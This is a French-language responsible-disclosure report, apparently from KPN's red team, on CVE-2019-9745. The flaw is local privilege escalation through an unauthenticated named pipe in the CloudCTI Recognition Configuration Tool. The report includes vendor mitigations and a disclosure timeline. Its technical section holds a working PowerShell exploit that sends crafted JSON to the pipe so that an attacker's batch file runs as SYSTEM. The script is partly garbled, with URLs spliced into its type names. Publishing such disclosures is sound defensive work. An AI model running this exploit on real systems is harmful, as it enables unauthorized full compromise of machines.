Une analyse des causes profondes des problèmes rencontrés montre l'importance de pratiques telles que la TM (modélisation des menaces). La TM aide à identifier les risques lors des premières étapes de conception et de développement. Cela peut conduire à l'atténuation des risques inacceptables ou à une refonte/réimplémentation. Bien que le lecteur soit encouragé à effectuer sa propre analyse, des descriptions des contre-mesures du fournisseur sont fournies à titre de référence.

The vulnerability

Le logiciel du fournisseur se compose de quatre applications qui fonctionnent ensemble. La première application est l'interface utilisateur graphique (GUI). Celle-ci permet à l'utilisateur de lancer la récupération d'informations à partir de plusieurs progiciels CRM :

La GUI délègue la récupération d'informations à un service (la deuxième application) en envoyant un message. Les premiers problèmes de sécurité se manifestent ici : non seulement toute personne sur le système peut observer les messages entre la GUI et le service pour déterminer leur format et leur contenu (ce qui affecte la confidentialité), mais elle peut également envoyer ses propres messages (ce qui affecte l'autorisation). De plus, la source des messages au service n'est pas vérifiée (ce qui affecte la non-répudiation). Dans la terminologie de la modélisation des menaces STRIDE, cela signifie que le système est sujet à la divulgation d'informations et à la falsification. En effet, les informations glanées à partir de ces messages ont été déterminantes dans la découverte de la vulnérabilité.

La troisième application est l'un des nombreux importateurs spécialisés. Le service délègue la récupération d'informations pour un progiciel CRM spécifique à un importateur spécifique. Le message envoyé par la GUI contient des instructions spécifiques pour cet importateur. En examinant l'importateur CRM Exquise, il s'avère que la récupération d'informations est davantage déléguée à une application externe (quatrième). En analysant la logique interne de l'importateur, on a découvert que l'application externe pouvait être spécifiée dans le message entre la GUI et le service. Le problème qui se manifeste ici est que l'application externe est exécutée sans vérifier son identité (ce qui affecte la non-répudiation).

En enchaînant ces problèmes, nous avons pu écouter les messages pour déterminer leur format et envoyer un message dans lequel nous spécifions notre propre application externe malveillante. Cette application externe est exécutée avec les mêmes privilèges que l'importateur/service. Comme ces privilèges sont les plus élevés possibles dans le système, un contrôle total est obtenu et le système est compromis.

Ces problèmes sont atténués par le fournisseur en chiffrant les messages (atténuant le problème de confidentialité) par l'utilisation de secrets partagés uniques (atténuant le problème d'autorisation) qui ne peuvent être consultés que par les utilisateurs authentifiés du système qui les possèdent (atténuant le premier problème de non-répudiation). Enfin, l'application externe est signée cryptographiquement (atténuant le second problème de non-répudiation). La combinaison de ces mesures atténue avec succès la vulnérabilité.

Technical details

Lorsque l'application GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) est installée, elle est examinée avec Process Explorer. Cela révèle qu'un service compagnon (Recognition Update Client Service) est installé et exécuté avec les droits NT AUTHORITY\SYSTEM :

En examinant l'exécutable du service (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe), il apparaît qu'il est développé en utilisant le langage de programmation .NET. Celui-ci peut être décompilé à l'aide de dnSpy pour obtenir un aperçu de sa logique interne, qui sera détaillée ci-dessous.

RUCS2017Service (l'espace de noms .NET interne dans l'exécutable du service) s'avère être une fine couche autour de l'espace de noms RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Celui-ci définit un serveur Named Pipe nommé RUCS20151029 à l'adresse RUCS2017.dll:RUCS2017.TRUCS2017:902 :

Ce serveur de pipe nommé est démarré à RUCS2017.dll:RUCS2017.TRUCS2017:833 :

La ligne unique Powershell suivante est utilisée pour confirmer que ce pipe est bien actif sur le système :``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

Lorsque la fonctionnalité Ajouter une application dans l'interface graphique est utilisée (voir Figure 01), le trafic non chiffré suivant est observé sur le pipe nommé à l'aide d'IO Ninja :

Ceci contient les données JSON suivantes :```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

Par essais&erreurs, il s'avère que l'ExporterApplication peut être un script batch qui ne nécessite pas de téléchargement de ressources supplémentaires et peut être placé dans un répertoire (utilisateur) contrôlé par un utilisateur disposant de privilèges faibles (voire inférieurs). Comme tous les utilisateurs peuvent écrire dans le tube nommé RUCS20151029, le script PowerShell suivant est utilisé pour envoyer du JSON conçu au tube nommé :

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

Lorsque le message est envoyé par un utilisateur normal (faiblement privilégié) (en utilisant CVE-2019-9745.ps1), on peut effectivement voir que CVE-2019-9745.bat est exécuté avec des privilèges élevés (NT Authority\SYSTEM) :

Conclusion

D'un point de vue test d'intrusion, tester les défauts dans la logique (métier) d'un système peut représenter un investissement de temps significatif. Étant donné que la plupart des tests d'intrusion sont des tests en boîte noire (par opposition aux tests en boîte blanche), cela implique généralement du rétro-ingénierie. Cependant, comme démontré, les défauts peuvent être tout aussi dévastateurs que les bogues. Pour cette raison, une approche à deux volets testant à la fois les bogues et les défauts est fortement recommandée.

Du point de vue d'un fournisseur, il est important de non seulement se demander 'comment nos produits peuvent être utilisés' mais aussi 'comment peuvent-ils être abusés'. Le SDLC (Secure Development Lifecycle) peut aider avec la gestion des risques lors des différentes étapes du cycle de vie d'un produit : les exigences de sécurité, l'architecture et un modèle de menace aident à la phase de conception haut et bas niveau. L'analyse statique/dynamique de code et la relecture par les pairs aident au processus de développement. Enfin, le test d'intrusion fournit un audit (indépendant). Bien sûr, les résultats de ces processus doivent être mis en regard avec un appétit pour le risque. D'un point de vue financier, diverses études (The Business Case for Security in the SDLC) ont conclu que traiter les défauts (de sécurité) dans les premières étapes du cycle de vie d'un produit est plus rentable que la correction ultérieure. Cela signifie qu'investir dans le SDLC peut réduire le TCO (Coût Total de Possession) à long terme.

En reliant les deux perspectives, il est important de continuer à investir dans la sensibilisation à la sécurité sur tous les fronts grâce à la formation et à l'éducation. Cela garantit que toutes les parties sont à jour sur les opportunités et les risques de sécurité dans le domaine informatique qui continuent d'évoluer rapidement. Ainsi, nous pouvons tous contribuer à une société plus sûre.

Chronologie de divulgation responsable

• 25-01-2019 : Vulnérabilité signalée au fournisseur CloudCTI par KPN CERT.
• 14-02-2019 : Correctif publié pour les clients par CloudCTI.
• 13-03-2019 : Réservation CVE par MITRE.
• 18-04-2019 : Correctif initial fourni à KPN par CloudCTI.
• 26-04-2019 : Nouveau test de la vulnérabilité par l'équipe rouge de KPN.
• 02-05-2019 : Correctif révisé fourni à KPN par CloudCTI.
• 02-05-2019 : Nouveau test de la vulnérabilité par l'équipe rouge de KPN.
• 19-06-2019 : Correctif publié pour les clients par CloudCTI.
• 27-06-2019 : Notification de sécurité publiée par CloudCTI.
• 14-10-2019 : Publication de ce rapport par l'équipe rouge de KPN sur GitHub.
• 14-10-2019 : Publication CVE par MITRE.
• 07-11-2019 : Publication de ce rapport par l'équipe rouge de KPN sur kpn.com.

Sévérité

Le score CVSS que nous avons attribué à cette vulnérabilité est de 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).